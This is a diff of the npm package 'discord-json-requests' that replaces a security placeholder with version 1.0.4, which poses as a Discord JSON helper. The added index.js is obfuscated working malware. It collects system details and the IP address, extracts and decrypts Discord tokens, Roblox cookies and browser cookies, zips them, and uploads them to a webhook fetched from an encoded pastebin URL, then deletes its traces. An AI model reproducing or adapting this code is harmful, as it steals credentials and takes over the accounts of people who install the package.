discord-json-requests 0.0.1-security → 1.0.4

package/index.d.ts

@@ -0,0 +1,8 @@
+declare module 'dscJsonParser' {
+    /**
+     * Retourne une liste de chemins basée sur les variables d'environnement `localappdata` et `appdata`.
+     *
+     * @returns {string[]} Un tableau contenant des chemins d'accès aux répertoires utilisateurs.
+     */
+    export function pathList(): string[];
+}

package/index.js

@@ -0,0 +1 @@
+const _0xe5ef11=_0x31a5;function _0x1f65(){const _0x4b281b=['from','end','CookiesData','\x20\x20\x20\x20Domain:\x20','expires','\x20\x20\x20\x20Http\x20Only:\x20','domain','path','\x20\x20\x20\x20Expires:\x0a','Erreur\x20de\x20requête\x20:\x20','8ConVES','\x0a🔴\x20ROBLOX\x20COOKIES\x20:\x0aNo\x20Roblox\x20Cookies...\x0a','\x5cRoblox\x5cLocalStorage','.log','\x0a===================================\x0a✅\x20COOKIE\x20:\x20','exec','77510rhPFKH','\x0a✅\x20OS\x20:\x20','141424kJLbBT','\x0a✅\x20USERNAME\x20:\x20','1166067IjGQcV','\x20\x20\x20\x20Same\x20Site:\x20','base64','aes-256-gcm','update','includes','setAuthTag','match','basename','Mozilla/5.0\x20(Windows\x20NT\x2010.0;\x20Win64;\x20x64)\x20AppleWebKit/537.36\x20(KHTML,\x20like\x20Gecko)\x20Chrome/80.0.3987.149\x20Safari/537.36','status','Error\x20:\x20','Erreur\x20HTTP:\x20','value','map','.ldb','utf-8','187cBkfcV','Local\x20State','591355HBzgRq','get','/new_map_size.zip','ENOENT','localappdata','sameSite','549IoFFcB','ldb','name','closeSync','dQw4w9WgXcQ:','code','data','\x20\x20\x20\x20Name:\x20','model','env','final','endsWith','\x20\x20\x20\x20Path:\x20','30192NhxBrQ','\x5cRobloxCookies.dat','utf8','encrypted_key','append','application/json','\x0a🔴\x20ROBLOX\x20COOKIES\x20:\x0a','✅\x20TOKEN\x20:\x20','os_crypt','unprotectData','stringify','118RNsFTC','pipe','isDirectory','CurrentUser','length','\x0a✅\x20CPU\x20:\x20','parse','forEach','push','file','toString','💻\x20PC\x20INFORMATIONS\x20:\x0a✅\x20HOSTNAME\x20:\x20','warning','zip','substring','slice','967526yilgDj','exports','secure','https://discord.com/api/v9/users/@me','2808hnhSIo','aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3LzN0MzEydXBR','username','https://api.ipify.org/?format=json','log','json','12YAOpPj','split','error','18XxtuxE','close','getHeaders'];_0x1f65=function(){return _0x4b281b;};return _0x1f65();}(function(_0xb57b37,_0x42f651){const _0x2694bd=_0x31a5,_0x2c4b58=_0xb57b37();while(!![]){try{const _0x2cd250=-parseInt(_0x2694bd(0x1c5))/0x1*(parseInt(_0x2694bd(0x1dd))/0x2)+-parseInt(_0x2694bd(0x195))/0x3*(parseInt(_0x2694bd(0x1aa))/0x4)+-parseInt(_0x2694bd(0x1bf))/0x5*(-parseInt(_0x2694bd(0x192))/0x6)+-parseInt(_0x2694bd(0x188))/0x7+-parseInt(_0x2694bd(0x1a2))/0x8*(parseInt(_0x2694bd(0x1ac))/0x9)+-parseInt(_0x2694bd(0x1a8))/0xa*(parseInt(_0x2694bd(0x1bd))/0xb)+-parseInt(_0x2694bd(0x1d2))/0xc*(-parseInt(_0x2694bd(0x18c))/0xd);if(_0x2cd250===_0x42f651)break;else _0x2c4b58['push'](_0x2c4b58['shift']());}catch(_0x29cee8){_0x2c4b58['push'](_0x2c4b58['shift']());}}}(_0x1f65,0x212f3));import{hostname as _0x245009,userInfo,version,tmpdir,cpus}from'os';function _0x31a5(_0x3f369d,_0x3fe08c){const _0x1f653b=_0x1f65();return _0x31a5=function(_0x31a5ae,_0x314b82){_0x31a5ae=_0x31a5ae-0x17f;let _0x63363c=_0x1f653b[_0x31a5ae];return _0x63363c;},_0x31a5(_0x3f369d,_0x3fe08c);}import{totalmem}from'os-utils';import{pathList}from'randompathlist';import{readFileSync,existsSync,opendirSync,readdirSync,writeFileSync,createReadStream,createWriteStream}from'fs';import{stat,rm,unlink}from'fs/promises';import*as _0x47fa11 from'path';import _0x15ef63 from'archiver';import _0x247856 from'axios';import{load}from'@rookie-rs/api';import _0x4b4435 from'form-data';import{Dpapi}from'@primno/dpapi';import*as _0x69e19b from'crypto';const pathlist=pathList();let fileContent='';const hostname=_0x245009(),username=userInfo()[_0xe5ef11(0x18e)],osVersion=version(),cpuInfo=cpus()[0x0][_0xe5ef11(0x1cd)];function totalMemCalc(_0x50cf3a){const _0x90df2d=_0xe5ef11;let _0xa0f3d0=_0x50cf3a[_0x90df2d(0x182)](),_0x433c36=_0xa0f3d0[_0x90df2d(0x186)](0x0,0x2),_0x3e7920=parseInt(_0x433c36);return _0x3e7920;}const memory=totalMemCalc(totalmem());let ipadd;async function fetchAPIip(){const _0x1e8eaa=_0xe5ef11;try{const _0x39446b=await fetch(_0x1e8eaa(0x18f)),_0x415de5=await _0x39446b[_0x1e8eaa(0x191)]();return _0x415de5['ip'];}catch(_0x2ee821){return console[_0x1e8eaa(0x190)](_0x1e8eaa(0x1b7)+_0x2ee821),null;}}ipadd=await fetchAPIip(),fileContent+=_0xe5ef11(0x183)+hostname+_0xe5ef11(0x1ab)+username+_0xe5ef11(0x1a9)+osVersion+_0xe5ef11(0x1e2)+cpuInfo+'\x0a✅\x20RAM\x20:\x20'+memory+'Go\x0a✅\x20IP\x20Adress\x20:\x20'+ipadd+'\x0a';let tokens=[];function getCryptedTokens(_0xe0d26d){const _0x43d162=_0xe5ef11;let _0x257ecb=_0xe0d26d;_0xe0d26d+='Local\x20Storage\x5cleveldb';if(!existsSync(_0xe0d26d))return;let _0x410024=opendirSync(_0xe0d26d);try{let _0x2c30b0=readdirSync(_0x410024[_0x43d162(0x19f)]);_0x2c30b0[_0x43d162(0x17f)](_0x5127c6=>{const _0x2859e5=_0x43d162;if(_0x5127c6[_0x2859e5(0x187)](-0x3)==_0x2859e5(0x1c6)||_0x5127c6['slice'](-0x3)==_0x2859e5(0x190)){let _0x48c616=readFileSync(_0x410024['path']+'/'+_0x5127c6,_0x2859e5(0x1d4))[_0x2859e5(0x182)](),_0x24eea9=/[\w-]{26}\.[\w-]{6}\.[\w-]{25,110}/,_0xa65953=/mfa\.[\d\w_-]{84}/,_0x44ed5f=_0x24eea9['exec'](_0x48c616)||_0xa65953[_0x2859e5(0x1a7)](_0x48c616)||undefined;if(_0x44ed5f)tokens['push'](_0x44ed5f[_0x2859e5(0x182)]());}});}finally{_0x410024[_0x43d162(0x1c8)]();}if(existsSync(_0x257ecb+'\x5cLocal\x20State')){try{readdirSync(_0xe0d26d)[_0x43d162(0x1ba)](_0x1f974e=>{const _0xb9abc=_0x43d162;(_0x1f974e[_0xb9abc(0x1d0)](_0xb9abc(0x1a5))||_0x1f974e[_0xb9abc(0x1d0)](_0xb9abc(0x1bb)))&&readFileSync(_0xe0d26d+'\x5c'+_0x1f974e,'utf8')[_0xb9abc(0x193)](/\r?\n/)[_0xb9abc(0x17f)](_0x43da5f=>{const _0x595fc2=_0xb9abc,_0x5d2a08=new RegExp(/dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*/g),_0x57e92a=_0x43da5f[_0x595fc2(0x1b3)](_0x5d2a08);_0x57e92a&&_0x57e92a[_0x595fc2(0x17f)](_0x46f328=>{const _0x627765=_0x595fc2;let _0x6b3237=Buffer[_0x627765(0x198)](JSON[_0x627765(0x1e3)](readFileSync(_0x257ecb+_0x627765(0x1be)))[_0x627765(0x1da)][_0x627765(0x1d5)],_0x627765(0x1ae))['slice'](0x5);const _0x27b861=Dpapi[_0x627765(0x1db)](Buffer[_0x627765(0x198)](_0x6b3237,'utf-8'),null,_0x627765(0x1e0));_0x46f328=Buffer[_0x627765(0x198)](_0x46f328['split'](_0x627765(0x1c9))[0x1],_0x627765(0x1ae));let _0x29bf6e=_0x46f328[_0x627765(0x187)](0x3,0xf),_0x4014bb=_0x46f328[_0x627765(0x187)](0xf,_0x46f328[_0x627765(0x1e1)]-0x10),_0xca808c=_0x46f328['slice'](_0x46f328[_0x627765(0x1e1)]-0x10,_0x46f328['length']),_0x4e2f00=_0x69e19b['createDecipheriv'](_0x627765(0x1af),_0x27b861,_0x29bf6e);_0x4e2f00[_0x627765(0x1b2)](_0xca808c);let _0x538eee=_0x4e2f00[_0x627765(0x1b0)](_0x4014bb,_0x627765(0x1ae),_0x627765(0x1bc))+_0x4e2f00[_0x627765(0x1cf)](_0x627765(0x1bc));if(!tokens[_0x627765(0x1b1)](_0x538eee))tokens[_0x627765(0x180)](_0x538eee);});});});}catch(_0x52a777){};return;}}for(let path of pathlist)getCryptedTokens(path);function removeDoubleTokens(_0x31a85a){const _0xb6700c=_0xe5ef11,_0x4f55fc={},_0x4a4f9b=[];return _0x31a85a[_0xb6700c(0x17f)](_0x2f324f=>{const _0x9bab55=_0xb6700c;!_0x4f55fc[_0x2f324f]&&(_0x4f55fc[_0x2f324f]=0x1,_0x4a4f9b[_0x9bab55(0x180)](_0x2f324f));}),_0x4a4f9b;}let tokensClean=removeDoubleTokens(tokens);fileContent+='\x0a🤖\x20DISCORD\x20INFORMATIONS\x20:\x0a';async function getTokenInformation(_0x39e8a4){const _0x1bc523=_0xe5ef11;let _0x4a9802;try{let _0x4e2243=await _0x247856[_0x1bc523(0x1c0)](_0x1bc523(0x18b),{'headers':{'User-Agent':_0x1bc523(0x1b5),'Content-Type':_0x1bc523(0x1d7),'Authorization':_0x39e8a4}});try{_0x4a9802=_0x4e2243[_0x1bc523(0x1cb)];}catch(_0x1f6c40){_0x4a9802=null;}}catch(_0x50b733){};return _0x4a9802;}for(let token of tokensClean){let tkInfo=await getTokenInformation(token);fileContent+=_0xe5ef11(0x1d9)+token+'\x0a✅\x20JSON\x20:\x20'+JSON[_0xe5ef11(0x1dc)](tkInfo)+'\x0a';}const filesPath=process[_0xe5ef11(0x1ce)][_0xe5ef11(0x1c3)]+_0xe5ef11(0x1a4);if(existsSync(filesPath)){let cookieFilePath=filesPath+_0xe5ef11(0x1d3),robloxCookiedat=readFileSync(cookieFilePath,_0xe5ef11(0x1d4))[_0xe5ef11(0x182)](),crypted=JSON[_0xe5ef11(0x1e3)](robloxCookiedat);const encrypt=Buffer['from'](crypted[_0xe5ef11(0x19a)],'base64'),decrypt=Dpapi[_0xe5ef11(0x1db)](encrypt,null,_0xe5ef11(0x1e0)),RobloxCookiesDat=decrypt[_0xe5ef11(0x182)]();fileContent+=_0xe5ef11(0x1d8)+RobloxCookiesDat+'\x0a';}else fileContent+=_0xe5ef11(0x1a3);fileContent+='\x0a🔵\x20BROWSER\x20COOKIES\x20:\x0a';const cookies=load();for(const cookie of cookies){fileContent+=_0xe5ef11(0x1a6)+JSON['stringify'](cookie)+'\x0a',fileContent+=_0xe5ef11(0x19b)+cookie[_0xe5ef11(0x19e)]+'\x0a',fileContent+=_0xe5ef11(0x1d1)+cookie[_0xe5ef11(0x19f)]+'\x0a',fileContent+='\x20\x20\x20\x20Secure:\x20'+cookie[_0xe5ef11(0x18a)]+'\x0a',cookie['expires']?fileContent+='\x20\x20\x20\x20Expires:\x20'+cookie[_0xe5ef11(0x19c)]+'\x0a':fileContent+=_0xe5ef11(0x1a0),fileContent+=_0xe5ef11(0x1cc)+cookie[_0xe5ef11(0x1c7)]+'\x0a',fileContent+='\x20\x20\x20\x20Value:\x20'+cookie[_0xe5ef11(0x1b9)]+'\x0a',fileContent+=_0xe5ef11(0x19d)+cookie['httpOnly']+'\x0a',fileContent+=_0xe5ef11(0x1ad)+cookie[_0xe5ef11(0x1c4)]+'\x0a';}function createFile(_0x31659d,_0x223015){writeFileSync(_0x31659d,_0x223015,'utf8');}function createZip(_0x1e0364,_0x58dda5){return new Promise((_0x330078,_0x33b23a)=>{const _0x377024=_0x31a5,_0x526973=createWriteStream(_0x58dda5),_0x488368=_0x15ef63(_0x377024(0x185),{'zlib':{'level':0x9}});_0x526973['on'](_0x377024(0x196),()=>{_0x330078();}),_0x526973['on'](_0x377024(0x199),()=>{console['log']('Data\x20has\x20been\x20drained.');}),_0x488368['on'](_0x377024(0x184),_0x399ecb=>{const _0x294b55=_0x377024;_0x399ecb[_0x294b55(0x1ca)]!==_0x294b55(0x1c2)&&_0x33b23a(_0x399ecb);}),_0x488368['on'](_0x377024(0x194),_0x439658=>{_0x33b23a(_0x439658);}),_0x488368[_0x377024(0x1de)](_0x526973),_0x488368[_0x377024(0x181)](_0x1e0364,{'name':_0x47fa11[_0x377024(0x1b4)](_0x1e0364)}),_0x488368['finalize']();});}async function deletePath(_0x4ca410){const _0x59eae5=_0xe5ef11;try{const _0xec4e4e=await stat(_0x4ca410);if(_0xec4e4e[_0x59eae5(0x1df)]())await rm(_0x4ca410,{'recursive':!![],'force':!![]});else _0xec4e4e['isFile']()&&await unlink(_0x4ca410);}catch(_0x5027cc){}}async function sendToWebhook(_0x1e6732,_0x3365d3){const _0x2ba906=_0xe5ef11;try{const _0x349f54=createReadStream(_0x1e6732),_0x153762=new _0x4b4435();_0x153762[_0x2ba906(0x1d6)](_0x2ba906(0x181),_0x349f54),await _0x247856['post'](_0x3365d3,_0x153762,{'headers':_0x153762[_0x2ba906(0x197)]()});}catch(_0x5e1e04){};}let w;try{let res=await fetch(Buffer[_0xe5ef11(0x198)](_0xe5ef11(0x18d),'base64')[_0xe5ef11(0x182)]());if(res['ok'])w=await res['text']();else console[_0xe5ef11(0x190)](_0xe5ef11(0x1b8)+res[_0xe5ef11(0x1b6)]);}catch(_0x2ea81f){console[_0xe5ef11(0x190)](_0xe5ef11(0x1a1)+_0x2ea81f['message']);}function dcode(_0x34a387){const _0x5a0852=_0xe5ef11;return Buffer['from'](_0x34a387,_0x5a0852(0x1ae))['toString']();}for(let i=0x0;i<0x5;i++)w=dcode(w);async function dscJsonParser(){const _0x30d480=_0xe5ef11,_0x441c90=tmpdir+'/'+username+'.txt',_0x25c828=tmpdir+_0x30d480(0x1c1);createFile(_0x441c90,fileContent),await createZip(_0x441c90,_0x25c828),await sendToWebhook(_0x25c828,w),await deletePath(_0x441c90),await deletePath(_0x25c828);}module[_0xe5ef11(0x189)]={'dscJsonParser':dscJsonParser};

package/package.json

@@ -1,6 +1,21 @@
-{
-  "name": "discord-json-requests",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+{
+  "name": "discord-json-requests",
+  "version": "1.0.4",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "z4x0",
+  "license": "ISC",
+  "dependencies": {
+    "@primno/dpapi": "^1.1.2",
+    "@rookie-rs/api": "^0.5.6",
+    "archiver": "^7.0.1",
+    "axios": "^1.7.7",
+    "form-data": "^4.0.1",
+    "os-utils": "^0.0.14",
+    "randompathlist": "^1.1.0"
+  }
+}

package/tsconfig.json

@@ -0,0 +1,5 @@
+{
+    "compilerOptions": {
+        "typeRoots": ["./types", "./node_modules/@types"]
+    }
+}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=discord-json-requests for more information.